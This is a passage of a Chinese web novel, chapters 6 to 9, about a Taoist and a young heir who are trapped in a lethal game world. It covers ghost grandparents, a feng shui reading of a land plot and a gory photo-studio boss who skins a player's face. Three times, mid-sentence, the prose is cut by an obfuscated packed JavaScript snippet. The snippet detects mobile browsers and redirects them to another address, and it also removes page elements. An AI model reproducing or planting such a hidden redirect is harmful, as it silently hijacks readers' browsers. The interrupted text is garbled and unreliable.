沙发上如梦初醒的常慧兰“啊”一声尖叫,一下子从沙发上站起来:“墩墩墩墩子!你怎么……你怎么跑到客厅里来了?!你是怎么进来的!” 岳大谦也睡眼惺忪地站起身,揉了揉眼睛,看着岳均生:“儿子?你不是出去谈项目了吗,这么快就回来了?这位是……小晏道长???小晏道长怎么在我们家?” 晏星梧:“……” 旁边站着的高大青年看看一脸懵的父母,又看看客厅里好好站着的墩子,最后看向晏星梧,笑了,眼神里带着劫后余生的轻松: “没事儿,爸,妈,是我请晏道长来家里玩的。墩子估计是自己趁着开门跑进来了,它最近好奇得很就爱到处逛。” 他一边说,一边拍拍墩子领它出去。 经过晏星梧身边时,对着晏星梧微微点了点头,用只有两个人能听见的声音说了一句: “谢谢。” 6. 第 6 章 岳均生找了个由头把父母支开,转头领着墩子和晏星梧往后院走。 墩子颠颠地跟在两人身后,长鼻子时不时轻轻勾一下晏星梧的袖口。 人,象对你感到好奇。 后院的象舍是一片被围起来的平整草坪,带独立戏水池和遮阳棚,是岳均生亲手给墩子设计的。进了棚子,墩子乖乖站在干草垫上,晃着蒲扇似的耳朵听两人说话,长鼻子还不忘卷起草丛里掉的西红柿,慢悠悠地往嘴里送。 晏星梧跟着岳均生走到庄园后院,眸光将景象一扫而过。 他看到假山石旁,一只磨盘大的老乌龟正摊开四肢晒太阳,龟甲上氤氲着一层淡淡的、温润的灵气,显然是修行了近百年的精怪,察觉到他的目光,只慢悠悠地抬了抬眼皮看他一眼。 “你家这大乌龟养得可真好。”晏星梧道。 岳均生笑笑:“老龟啊,从我出生它就在我家,也有二十几年了。” 后院深处的花圃边,一对灵魂状的头发花白的老夫妻正手拉手散步,神态悠然,魂魄凝实,周身没有半分戾气,显然是守着这片庄园有些年头了,正说着海棠树该剪枝了。 象舍旁的遮阳篷摆着两张藤编椅,两人落座后,岳均生先开了口,他语气郑重:“晏道长,今天的事,感激的话不多说了,我欠你一个人情。” 晏星梧微微颔首,没绕弯子,直接问出了核心问题:“你是和我一起被带入游戏的吗?” “不是。”岳均生道,“两个多月前我就被带进瞬墟变成了玩家。” 岳均生指尖摩挲着藤椅扶手,缓缓道出了入局经过:“这次突发这个执念副本,一来八成跟噬衍天尊有关,但为何现实中的邪神能影响游戏……这个先按下不提。二来是我已经快两个星期没进副本了。” “你是说,下副本还有强制的时间规定?”晏星梧问。 “是的,一定时间内必须进入主城进行一次副本报名,否则会被强行拉进未知副本。前段时间墩子感冒引发了肺炎,我日夜守着它,实在放心不下进本,游戏就强制触发了副本,可我没想到它居然把整个庄园的人都拖了进去。”岳均生想起这个就有些咬牙切齿。 他顿了顿,目光落在一旁自己玩耍的墩子身上,语气沉了几分:“我的第一个副本,就是在这间象舍里触发的。那天深夜我迷迷糊糊快睡着的时候,脑子里突然响起了系统的提示音,说检测到适配玩家,即将载入新手副本。” “那时候我根本没反应过来,进副本就看见墩子也在我旁边。”岳均生苦笑了一声,“我当时也想不通,为什么游戏会把一头大象拉进来。后来我觉醒了异能,可以跟墩子沟通,才勉强拼出全貌,游戏捕捉到了墩子身上某种特殊的能量波动,把它定为了目标想拉它进来。但游戏显然没料到,它选中的是一头大象。” “游戏当时就出现了报错,也就是在这个空档里,墩子做了一件游戏完全没预料到的事。”岳均生侧头看了眼墩子,后者正用鼻子把一串葡萄递到他手里。 他抬手揉揉墩子的大头,道:“它把那个特殊的东西,连着玩家身份一起,主动传给了我。等游戏反应过来的时候已经晚了,绑定关系已经生效,最后只能把我们两个一起拉进了副本里。” “那你的异能,也是和这个有关?”晏星梧没有追问那个东西到底是什么,只换了个问题问道。 “是,和土有关。”岳均生坦然应下,“基础能力是能感应土地的状态,可以小范围操控土元素,更多的,还是体现在墩子身上,我和它之间有一条清晰的感知链接,它的情绪、位置、身体状态,我随时都能知道,反过来也一样。在游戏里,它会以挂件的形态陪着我,每一局游戏只能变回一次本体。” 晏星梧想了想,说:“我的异能,叫道可道。但游戏并没有告诉我该怎么使用他。” 岳均生诧异:“一般获得异能后游戏会有解释的,你没有吗?” “没有。”晏星梧道。 “那就奇了怪了。”岳均生摸下巴思索,“一般玩家的游戏异能跟身体某方面的强化有关,我这种属于稀有异能。道可道……没有听说过,可以进主城打听打听,感觉也是稀有款。” “主城是什么样子?玩家与玩家之间关系很融洽吗?”晏星梧问。 “瞬墟主城常年阴雨朦胧,从没晴过天。它是副本之间的中转站,第一次通关就会解锁权限。主城里面分了几个大区,交易区能用积分换道具、攻略、情报,任务墙能接悬赏、找队友,还有玩家自己建的工会,还有一家名叫会发商行的交易所,主要做道具和情报生意的,也有人说只要有积分,什么都能在里面买到。游戏的核心规则很简单,强制进本,生死自负。新手期是一个月,两周一个强制周期,也就是在两周之内必须进入主城报名副本,过了新手期,周期会缩短到9天,如果像我这样逾期不进,游戏会强制触发高难度副本。副本难度从D级到S级不等,据说还有S级以上的副本,但不知道是否开启过。” “除了第一次通关会觉醒异能,通常副本结束后会给积分、道具,没完成核心目标会被游戏抹杀,在副本里死亡,现实里的人会直接消失,连警方都查不出任何异常。” 说到这里,他顿了顿,补充了几个关键的阵营信息:“主城里面水很深,最大玩家公会叫惊蛰社,里面玩家综合能力非常高,规矩多,门槛极高,基本不收新人。还有一个坏事做尽的公会,叫归墟,里面的玩家经常杀人夺宝,手段狠得离谱,新人遇上基本就是死路一条,不过他们暴露在外的会员只有三五个,其他人不大好分辨,如果在副本里遇到感觉不太好的玩家,离远点就是了。” “我进主城几次,见过的玩家良莠不齐,有人抱团取暖,也有人独来独往。” “偶尔也会触发特殊的随机副本,难度也随机。”岳均生说。 晏星梧听得认真,偶尔插一句,他问:“有没有办法退出游戏?” “要想退出游戏,唯一的官方规则,是集齐五枚五行玉髓。我在主城查了很久,没听说过有谁成功退出过,甚至连见过五行玉髓的人,都寥寥无几。”岳均生无奈一笑。 对话到这里,气氛沉了几分。 就在这时,晏星梧忽然听到絮絮叨叨的说话声,越来越近。 是那对老夫妻的魂魄,手拉着手往遮阳棚这边走。 老奶奶先开了口,人还没到跟前,数落的话已经飘了过来:“均生,你最近怎么瘦了这么多?是不是又没好好吃饭?公司再忙也要顾着身体,你爸妈也不知道管管你……” 老爷爷跟在旁边,慢悠悠地补了一句:“听你爸念叨最近项目出了点问题?年轻人遇到事要沉住气,慌什么?你爷爷我当年下海的时候,比这难的坎多了去了……” 两个老人大概是看见孙子在这里,习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499249|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯性地过来转悠,你一句我一句,数落得极有默契。 晏星梧坐在旁边,表情微妙,欲言又止。 老奶奶絮叨到一半,余光终于瞄到了晏星梧,忽然停了下来,歪着头上下打量他,又伸手戳了戳身边的老伴,压低了声音:“老头子,你看这小伙子,他好像能看见我们……” 老爷爷眯起眼睛看过来,两个老人对视一眼,同时往前凑了两步弯下腰,异口同声地问:“小伙子,你能看见我们?” 晏星梧:“……能。” 两个老人瞬间来了精神,话匣子一下子就打开了,围着他你一句我一句地问: “小伙子你是哪里人啊?” “你是道士?守一观?在哪座山上啊?” “我们家均生这孩子最近是不是遇上事了?他总不声不响地消失好一阵子……” 岳均生看着晏星梧对着空无一人的花圃边说话,整个人都懵了,问道:“晏道长,你在跟谁说话?怎么了?” “呃…是你的爷爷奶奶。”晏星梧有些尴尬地转头看向他,简单描述了两位老人的穿着样貌,还有方才念叨的内容,“他们在这片庄园有些年头了,一直陪着你们。” 岳均生的呼吸猛地一滞,眼眶瞬间就红了。他爷爷奶奶在他上高中的时候就相继走了,是是从小最疼他的人,他愣了半天,声音都带着颤:“那晏道长,能不能……能不能让我也看看他们?” “我这是天生的天眼,普通人虽然也能短暂开天眼,但是非常耗精神力,可能会对你身体有损。”晏星梧如实说,“如果你想,我可以帮你代为传话。” “好,好!谢谢你!”岳均生连忙点头,深吸了好几口气,才对着晏星梧说,“你帮我问问爷爷奶奶,他们有没有什么缺的……” 接下来的半个多小时,晏星梧就成了祖孙三人的传声筒。老人问着家里的事,叮嘱他照顾好自己,岳均生一句句应着,把家里这些年的变化一一说给老人听,说到最后,声音都哑了。 直到夕阳西沉,两个老人怕耽误他正事,才依依不舍地跟他道了别,手拉着手回了主楼。 空气重新安静下来,岳均生缓了好半天,才对着晏星梧郑重地鞠了一躬:“晏道长,谢谢你。这件事,我欠你第二个人情。” “举手之劳。”晏星梧扶住他,笑着摇头。 话聊得差不多,天色也渐渐暗了下来。岳均生定了定神,认真提议:“晏道长,下次的副本,我们一起组队进吧。” “单打独斗的死亡率太高了,尤其是对新人来说。我的土系异能能扛能防,你的符箓可以攻击,刚好互补。” 晏星梧思索了两秒,点头应得干脆:“好,那就一起进吧。” 岳均生瞬间松了口气,立刻拿出手机和晏星梧互换了联系方式,现实中不能在他人面前谈论游戏,会有不可抗力的阻挡,他还说等进了主城要把自己整理的攻略、副本避坑指南、阵营情报全发给他,两人约好进本前一天碰面。 晚风卷着海棠花香吹过后院,脑海里的瞬墟主城的印记无声闪烁着。天色彻底暗了下来,岳家父母已经在喊两人进屋吃饭。 晏星梧起身整理一下,正准备和岳均生一起离开后院,墩子却突然迈着慢悠悠的步子走到他面前,低下头,用湿乎乎的鼻子圈住了他的腰,像在道别,又像在道谢。 晏星梧抬手,轻轻握了握它的鼻子。 7. 第 7 章 晚风裹着春的淡香拂过鼻尖,山门口的草丛里飞着零星几只萤火虫,一闪一闪像是在跟他打招呼。 晏星梧回到守一观已经是后半夜了。 他对着草间荧光笑笑,掏出钥匙开门回观。 晏星梧脚步轻缓,穿过前几殿,暖色的灯光随着他的脚步晃了又晃,他走到起居室,先是隔着几步停在了师傅的房间门前。 房间里没有半分灯光,显然师傅早就睡熟了。 他原本揣在心里的话暂时压了下去,天亮再说吧。他转身回了自己的房间。 洗漱完坐在桌前,晏星梧手指间反复摩挲着三枚铜钱,游戏世界的记忆又清晰地浮现在脑海里,这些事情完全超出了他过往的认知,也不知道师傅知道了会不会觉得他在做梦或是精神受了刺激。 指尖在桌上敲了敲,好看的眉眼渐渐舒展开来。 多思无益,他一个道士还能怕那些子不语的东西? 天令我到此处去,必有其缘由。那就既来之则安之吧。 他将铜钱收紧口袋里,熄了灯躺下,一夜无梦。 天亮之后,晏星梧照例做了一套早课,之后,他一手捧着一个紫砂壶,一手拿着半拉包子边嚼嚼嚼边找到了师傅。 “师傅。”嚼嚼嚼。 “我……”呃啊,好像有点噎到了,加速嚼嚼嚼。 晏真人看着爱徒鼓鼓的腮帮子笑出了声,弹他一记脑瓜崩。 “慢点吃,吃完再说。” 晏星梧三两下咽下嘴里的东西,一边将紫砂壶里泡好的茶水倒进杯子里递给师傅,一边故作一副神秘样子说:“师傅,我昨晚做了一场蕉鹿大梦。” “哦?你做什么蕉鹿梦了?”晏真人勾勾嘴角,饶有兴趣地看他。 “我啊,我梦到……”话到嘴边,嗓子眼里好像突然被堵住,嘴张了半天却半个音都发不出来。 晏星梧眉峰微挑,又试了一次,结果依旧如此。 但凡触及到游戏相关的内容,所有字眼都会被无声掐灭到嗓子里,透不出去半句。 做梦也不行吗……狗登游戏,狗登噬衍,给道爷等着。 晏星梧冲已经有些许疑惑的晏真人笑出一副虎牙,嬉皮笑脸道:“我梦到师傅在我梦里忽然变成年轻漂亮的小姑娘了,老实说,师傅您是不是还有什么驻颜之术没有教给我呀?” 晏真人轻拍他一下,笑骂道:“没个正形儿,没事儿干就去蹲半个小时马步!” 接下来的几天,日子回归到往常的节奏。 每日早晚课,打理打理观中香火,帮周围信众处理处理日常疑问,或是些熟门熟路的琐事,转眼间一周就过去了。 这天,岳均生的电话打了过来。 童话里,他没有提游戏的事,只客气地向晏星梧发出邀请:“晏道长,我们集团在京市远郊看中一块预开发的地皮,我想请您和我一起去现场看看有没有风水问题,替我把把关。” 晏星梧稍作思考便应了下来,正好见面之后还能再聊聊游戏的事。 两人约好次日一早出发去机场,便挂了电话。 - 京市远郊的地块正对着一脉浅山,山上绿树成荫,枝繁叶茂,看着一派生机盎然,一条山泉小溪顺着山势蜿蜒而下,水流清冽,常年不枯。 “晏道长,您看,这就是那块地皮。” 岳均生陪着晏星梧站在高处,指着前方的山景,语气里带着几分看好的笃定。 “我的人前期勘测过,这几座山形状平缓圆润,是标准的靠山局,这条山泉活水四季不断,要是买下这块地皮,我打算把水引下来,整体做成山水别墅项目,在小区中央做叠水水景,正好应了玉带缠腰活水聚财的说法!” 岳均生越说越兴奋,项目团队的人也纷纷附和,七嘴八舌地指着效果图补充着桂花的细节,都觉得这块地是难得的风水宝地,拿下稳赚不赔。 晏星梧没立刻接话,看着底下的景色细细思索。 “咱们先下去走走,再仔细看看这块地皮吧。”晏星梧摸了摸下巴,提议道。 他们先沿着地块的边界缓步走了一大圈,晏星梧走得很慢,目光扫过山形走势、水流去向,又看看周边的路向,心里渐渐明悟。 一圈走完,晏星梧径直走到了地块的正中央,也就是风水里所说的“天心位”,整个地块的核心中轴线。 他站定脚步,抬头望向正对面的浅山。 “均生啊,如果你信我,那这块地不能买。” 晏星梧收回目光,转头看向岳均生,语气平静却笃定,一句话让原本兴致勃勃的众人瞬间安静了下来。 岳均生脸上的笑意收住,快步走到他身边:“晏道长,是哪里有问题?” 晏星梧语气平淡,却字字戳中要害,“这水看着在山间蜿蜒,实则主脉的气口锁死了这块地的天心位。风水里讲,天心是一地之主,是阳宅的魂魄,最忌直冲,最喜环抱。这股水带着山上的冲刷之力,直撞天心,直接劈碎了生气的根基。” 山上绿树成荫,遮住了山体的大半轮廓,可站在天心位抬头望去,能清晰看到,山泉的主脉走势,还有雨水常年冲刷出来的几道深沟壑,正正地对着地块的核心中轴线。 他顿了顿,又说:“所以这块地就不适合搞房地产,到时候不仅赚不到钱,还会惹上一身麻烦。” 岳均生用手机查了查什么是水破天心,心里一惊。 “多亏带您过来看了看,不然就差点栽了大跟头。”岳均生回过神来,对晏星梧道了谢,有赚头吩咐团队立项停止的事宜。 晏星梧点了点头,目光顺着那股直冲下来的水势,望向了地块马路对面的老街区,脚步忽然顿住了。 这条老街区和新地块只隔了一条双向四车道的马路,本就因路形成了反弓煞的死局,又被这股直冲天心的煞气常年冲撞,街区内部的主路是条断头路,煞气有进无出,形成了闭气的死局。 按常理来说,这种被煞气常年冲刷的地块,本该荒无人烟,可对面整条街的门面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499250|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都挂着营业招牌,只是家家户户门窗紧闭,玻璃上蒙着厚厚的灰,看不到里面半分景象。 明明是工作日的上午,整条街却听不到一点人声,看不到一个人影,安静得诡异。 晏星梧的眉头皱得更紧了。 “均生,我去对面那个街区看看。”他转头跟岳均生打了声招呼。 “对面?”岳均生顺着他的目光看过去,也皱了皱眉,“那边是个荒废了快十年的老街区,听说之前出过好几起怪事,一直没拆成,里面基本全是空房子。要不我和你一块去?” “不用,我就随便走走,很快回来。”晏星梧转身穿过马路,走进了这条老街区。 进入街区,空气里弥漫着灰尘味,脚下的石子路坑坑洼洼,两侧商铺的厚灰玻璃上几个灰灰的手印,整个街区都透着一股陈旧又腐朽的感觉。 晏星梧放缓脚步,站在东侧的尽头向前望去。 他坚持过来看看的原因还有一个,就是这里都整个街区也都没有精怪阴物存在。 他平时会下意识地忽略掉身边不认识的精怪和阴物,但假装看不见和完全没有,显然是两码事。 他一直走到街区中段,面前是一间锁着的百货商店,卷帘门拉到一半敞开着底下半边。晏星梧停下脚步,伸手想掀开卷帘门,看看里面的情况。 就在他手指碰到卷帘门把手都瞬间,一道冰冷的电子音响起: 【检测到玩家晏星梧进入特殊规则区域,隐藏联动副本触发——】 【副本名称:混乱街区。类型未知,人数未知。】 【副本锁定玩家:晏星梧】 【开启倒计时:30分钟。】 【警告,倒计时结束后,未进入副本玩家将被扣除50%生命值,请玩家静候。】 晏星梧的脸色瞬间沉了下来。 他怎么也没想到游戏会在这个时候作妖。 他没有丝毫犹豫,转身朝着街区入口撒腿狂奔。 冲到马路上的瞬间,周遭的静音消失,可脑海里的倒计时还在一秒一秒跳动。 他拿出手机给岳均生打电话,电话接通的那一刻,“副本”两个字刚到嘴边就被死死堵住,他换了说辞:“均生,情况紧急,狗登又搞事了,你现在马上放下手边所有事,带好需要的东西,到对面的街区来找我,要快!” 【请玩家注意个人素质】 注意你祖宗!晏星梧心里暗骂。 电话那头的岳均生愣了一下,立马听明白,应到:“好,我明白,我马上过去。” 挂掉电话,晏星梧站在这片街区的一个入口前观察着整片街区,脑子里飞快思索着。 隐藏联动副本……之前听岳均生说,玩家都是进入瞬墟主城之后才选择副本进入,而他从一开始就是进了和现实交界的特殊副本,以后这种情况会变多吗?还是仅仅针对他? 过了一会儿,岳均生额角带着薄汗,快步朝他跑了过来。 此时,距离副本开启还有15分钟。 8. 第 8 章 岳均生拿出一个只有两个按钮的遥控,示意晏星梧按上去:“双人组队道具,一键组队。” 两人同时按下按钮,脑海里同时响起组队成功的声音,倒计时归零的一刻—— 【副本开启,正在传送……】 视线恢复时,两人已经站在了混乱街区的中央广场。 整个街区瞬间被蒙上一层厚厚的大雾,三步开外看不清任何景象,广场的地砖缝里渗着褐色的污渍,周围是一片死寂。 其余玩家也陆续在广场边缘显形。 【欢迎来到瞬墟。】 【副本名称:混乱街区。副本等级未知。】 【当前存活玩家:13人】 【请玩家自行探索,自行前往任务点1。】 几乎所有人都在第一时间完成了对周遭环境的初步评估,晏星梧看着翻涌的浓雾,不确定他的天眼是否能在这个副本中使用。 “雾有问题,压制感知。”岳均生土系异能顺着脚下蔓延开去默默感受着,声音压得极低,只有两人能听见。 晏星梧微微颔首,目光落在了广场地面的纹路里。 就在这时,众人脚边的浓雾忽然无声散开,露出了一条仅容两人并肩通过的碎石小路。路面被打磨得光滑,蜿蜒着伸向浓雾深处,是这片大雾弥漫的空间里唯一可辨的路径。 晏星梧脑海中迅速想了一个数字,默默掐指算了一卦小六壬。 速喜,可行。 他向岳均生点了下头,当下便沿着被拨开雾的小路向前走去,不再犹豫。 “这路来的太蹊跷了,指不定是陷阱。” 玩家中,一个卷发的女人皱着眉开口,是队伍里为数不多的女玩家。 “不走这条路,你有别的办法?”染着黄毛的年轻男人嗤笑一声,抬了抬下巴看向周围浓得化不开的雾,“这连路都看不见,往旁边走一步,谁知道里面是什么鬼东西?” 黄毛男人率先跟了上去。 其他玩家见他们开始前进,纷纷互相对视后跟了上来。 蛇形小路七拐八拐,两侧的白雾始终死死地锁着视野,只能看清脚下的路,连路边的建筑轮廓都隐藏在白茫茫里。 大概走了十几分钟,众人终于来到路的尽头,前方的浓雾缓缓散开,一间带着老式木质门头的影楼,赫然立在众人面前,门头的木牌上刻着三个斑驳的字:照相馆。 【已抵达任务点1,照相馆。】 临街的橱窗里摆着几张泛黄过时的婚纱照,照片里的人笑得整齐划一,可无论站在哪个角度,都觉得那些眼睛正死死盯着自己,透着股诡异。 【载入中……】 【这是一间开在老居民楼旁的照相馆,它白天营业,夜里也亮着灯,有人说,进去拍过照的人,出来后都会变得有点不对劲。】 【任务点1剩余时长:4小时】 【主线任务:找出照相馆老板的一个秘密。】 提示音结束,照相馆门前忽然亮起了灯,紧闭的大门吱吱嘎嘎地打开了。 门里是一条狭窄的过道,过道尽头是连接着二楼的楼梯,楼梯旁的前台里站着一个身穿灰色对襟衫,头发用发胶抹得发亮的男人,他面容清瘦,两撇小胡子,嘴角挂着一丝笑意,看不出具体年龄。 “各位客人,欢迎光顾老金的照相馆。”男人微微鞠躬,“我是主理人兼首席摄影师,老金。” “这次能接到这么大的订单真是太荣幸了,我决定亲自为各位服务。” “劳烦各位把名字写在登记册上,到前台拍一张登记正脸照,拍完领取等号牌,就算是我的正式客人了。” 他说完,微微侧身,做了一个“请”的手势。 玩家们站在原地,没有人动。 谁都不愿意当出头鸟。 老金依然保持着请的姿势,只是眉头微挑了一下。 又过了几秒钟,一个脸上有颗大痦子的男人“啧”了一声,率先走了过去,走到前台低头在登记册上写下了他的名字。 有人带了头,剩下的人便陆续跟了过去,晏醒悟和岳均生排在中间位置,不前不后。 走进照相馆的瞬间,晏星梧问到一股甜腻的香气,甜腻中带着一丝刺鼻的底调。 登记册上的名字已经写了小半页,老金对每一个登记的玩家都点头致意,笑容的弧度始终不变。 轮到晏星梧,他接过笔感到一种轻微的吸附感,他面色不变,写完最后一笔便将笔放回笔托。 老金笑着递给他一枚铜质的圆形等号牌,零一三。 拍摄区设在前台左侧的一个半开放式空间里。 背景是一块深红色的绒布,布面上有细微的磨损痕迹,正中央摆着一张木质靠背椅,椅子对面的三脚架上架着一台箱式照相机,黑色机身包着黄铜边角,相机旁边立着一盏带光伞的摄影灯。 老金亲自拍照,他站在相机后面,一只手搭着快门,另一只手微微抬起,引导玩家调整坐姿和面部角度。 他的动作很专业,声音里带着激情,就像一个真正热爱摄影的老师傅。 “下巴收一点!好。” “肩膀放松!好。” 咔嚓。咔嚓。咔嚓。 快门声有节奏地响着。 拍了三个玩家,一切正常。 第四个玩家坐到了椅子上。 那是个三十出头的男人,戴了顶鸭舌帽,帽檐压得很低,坐下后微微低着头,他的长相没什么特点,属于放进人群里就找不到的类型,从进入照相馆开始就没有说过一句话。 老金的手指搭在快门上,没有按下去。 他停了下来。 他的手指从快门线上松开,身体慢慢直起来,歪着头,像在端详一件不太对劲的物件。 “这位客人。”老金发出带着兴味的疑问,“你不真诚。” 男人在椅子上僵了一下。 老金绕过相机,朝他走过去,皮鞋底在地面上发出不紧不慢的嗒嗒声,走到男人面前时,他弯下腰,把脸凑到离男人的脸很近的位置,两撇小胡子微微翘着,他似乎还在笑。 “老金喜欢真诚的客人。” 他伸出右手,拇指和食指捏住男人下巴左侧的皮肤,猛地撕扯开来。 所有人都没反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499251|202650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 一张肉色的人皮面具,被他从男人脸上揭了下来。 面具底下是另一张脸,那张脸比面具年轻一些,男人的瞳孔剧烈收缩,全身止不住地颤抖着,但他没有动,不知道是不敢动,还是动不了。 老金把揭下来的人皮面具举到灯下仔细地端详。 “噢……只有这一层吗?” 他的语气里带着一丝失望。 晏星梧脚下迈出半步,但他突然感觉到一股极强的压制力从四面八方涌来。 他的右脚还保持着想要借力的后踏姿势,脚后跟离地不到一厘米,却被强行焊在了半空中,身体的每一寸肌肉都像被灌了铅,无法动弹分毫。 与此同时,老金又伸出手,捏住了男人下巴上另一侧的皮肤,猛地撕扯! 一张真的脸皮,连带着筋膜和底下还在跳动的肌肉纤维,被老金从男人的面骨上完整地揭了下来。 男人发出一声惨叫,他想去捂自己的脸,但手指碰到裸露在外的肌肉组织时又疼得缩了回去,血顺着他的下巴淌下来,滴在垂到凳子下的深灰色的背景布上,洇出块块深色的印子。 老金直起身,把第二张脸皮也举到灯下看了看,血淋淋的面皮背面还带着丝丝缕缕的肌肉组织。 “这样就对了。”他把两张脸皮叠在一起,像叠两张拍废的照片,“到老金这里来,要露出本来的样子。” 男人的嚎叫声还在继续,他跌跌撞撞地站起来,周围的玩家下意识往后退了半步,冷漠地看着这一幕,没有人说话,连呼吸声都压到了最低。 老金皱了皱眉。 “太吵闹的客人可不乖。”他的语气里带上了一丝不快的意味,“会妨碍到其他尊贵的客人的。” 他抬起右手,打了一个响指。 两个助手从前台后面的暗门里走了出来,他们脸上戴着口罩,露出的眼睛没有任何表情,动作僵硬,一左一右架住那个还在挣扎嚎叫的男人,走进了暗门里。 门关上了。 嚎叫声在门关上的瞬间戛然而止。 老金从口袋里掏出一块白手帕,慢条斯理地擦了擦手指。 手帕上沾了血,他折了一折,把沾血的那一面折到里面,重新塞回口袋。 然后他转过身,面对剩下的十二个玩家,重新露出了那个温和的笑容:“一点小插曲,让各位客人受惊了。” 空气中的压制缓缓解除,晏星梧站在原地,后背的衣服布料被冷汗浸湿了一小块,他克制着自己有些粗重的呼吸,双手慢慢垂回身侧。 老金走回相机后面,手指重新搭上快门,“老金的照相馆开了几十年,最看重的就是客人的真诚。” 他的目光从前厅里每一个玩家的脸上慢慢扫过去。 “下一位客人,请坐。” 前厅里的空气像被抽走了一部分,那个卷发女人的手在身侧攥成了拳头,指节发白。黄毛的喉结滚动了一下,嘴角那点惯常的痞笑也消失了。 晏星梧的目光从老金身上移开,落到了那扇小门上。 天眼之下,那扇门的门缝里正往外渗着一缕极淡的黑气。 9. 第 9 章 拍摄结束,老金吧东西收好,将拍立得的登记照一张张夹进登记册里,两撇小胡子微微抖动着,看起来心情很好。 “各位客人,登记的流程就到这里,请移步二楼等候厅稍作休息。” 二楼?等候? 晏星梧和岳均生悄悄对视了一眼。 任务到现在没有任何进展,而老金这个能在照相馆里凭空压制所有人行动的boss,正微笑礼貌地站在他们面前,仿佛就是一个真正好客的老板。 与晏星梧对了个眼色,岳均生开口了。 “金老板,”他的语气很客气,甚至带着几分真诚的赞叹,“刚才拍照的时候我就想说了,您的技术可真棒!那台相机,是用了很多年的老物件吧?” 老金的眼睛弯了一下:“客人过奖了,这台相机跟了老金七十多年,拍过的人,数都数不清了。” “七十多年?”岳均生恰到好处地挑了下眉,露出惊讶的样子,“那您保养得可真好,看您刚才指导拍照的娴熟动作,我以为您还是青壮年呢。” 老金的笑意深了一分。 岳均生话锋一转,话里带上几分疑问:“不过金老板,我有点好奇啊,刚才那张照片,构图、光线、表情,一切都那么完美不是吗?咱们还要上楼等什么呀?” 老金看了岳均生一眼,眼神里带着些微妙。 “客人说笑了。”老金笑着摇了摇头,两撇小胡子跟着动了动,“刚才拍的只是登记照,你们部门不是约了这一年的职业照吗?正片还没拍,这才哪到哪?” 玩家们听到这里,神色若有所思。 这个副本的设定里,他们是以某个部门的集体名义来拍年度职业照的。 晏星梧的手指在外套口袋里轻轻摩挲着等号牌的边缘。 老金在这间照相馆里,拥有绝对的控制权。 固定的笑容,流畅的动作,以及,能够压制所有人的战斗力。 这么强大的boss,他们作为玩家,真的有破局的空间吗? 一定还有别的东西,只是他现在还没看到。 “各位客人,楼上请。”老金朝楼梯方向伸出一只手,邀请他们上楼。 楼梯转角处的墙上挂着一排装裱好的老照片,照片里的人穿着不同年代的衣服,但表情出奇的统一,都是眼睛微睁,面带惊恐。 “这些照片……”黄毛男想说什么,张开嘴又闭上,沉默地跟着队伍往上走。 二楼是非常宽敞的大厅,玩家们刚踏入二楼,就看到原本空荡荡的大厅瞬间出现了几个看不清脸的人,他们动作随意地分散在大厅各处,身上挂着和他们相同的号码牌,仿佛也在等着叫号。 晏星梧看了眼手里的号码牌,他是零一三号,岳均生是零零五。 “哥们儿,”晏星梧朝黄毛男走了过去,问:“你是多少号?” “零四二。”黄毛毫不避讳,直接说了出来,“你也发现了?” “号码的跨度太大了,可照相馆里没有那么多客人。”晏醒梧道。 “那些人不是玩家,可他们在等什么?”岳均生问。 “咯啦啦啦——” 楼梯拐角处的墙上突然发出一阵声响,随后,第三张照片里的人影正缓缓变大,然后从二维变成了三维,先是脸部的轮廓变得立体,然后是肩膀、躯干,最后,他的脚从照片的边框里迈出来,落在地面上。 一个穿着藏蓝色中山装的中年男人,他的五官极其普通,普通到根本不会有人记住他的长相。 他手里捏着一块铜质的没有号码的牌子,沿着楼梯走了上来,四处观望了一下,站在了痦子男人的身前。 “我叫周德胜。”他看着痦子男,似是在搭话,“你说对吗?” 老周的脸色在一瞬间失去了平静。 他的手指攥着等号牌的边缘,攥得铜牌边缘几乎嵌进掌心,喉咙里滚出一个含混的音节,正要回答。 “慢着!先别开口。” 晏星梧从沙发边跨了出去,一步越过茶几,一手按住痦子男人的肩膀。 但他慢了半拍,就在他手刚放到男人肩膀上的那一刻,痦子男人的嘴已经张开了:“你也叫周德胜?” 这句话说出来的瞬间,中山装男人的嘴角裂开一个大大的笑。 痦子男人手里的等号牌碎了,铜质的牌子在他掌心里像一块被捏碎的饼干,裂纹从中间扩散,然后整块牌子化作一捧细密的铜色粉尘,从他的指缝间簌簌落下。 那个穿中山装的男人开始发生变化,他渐渐朝痦子男人的面庞靠拢,先是他的脸渐渐变成了和痦子男人八分相似的样子,两张脸没有完全对齐,呈现出一种极其别扭的融合感。 然后他抱住了痦子男人,也就是周德胜。 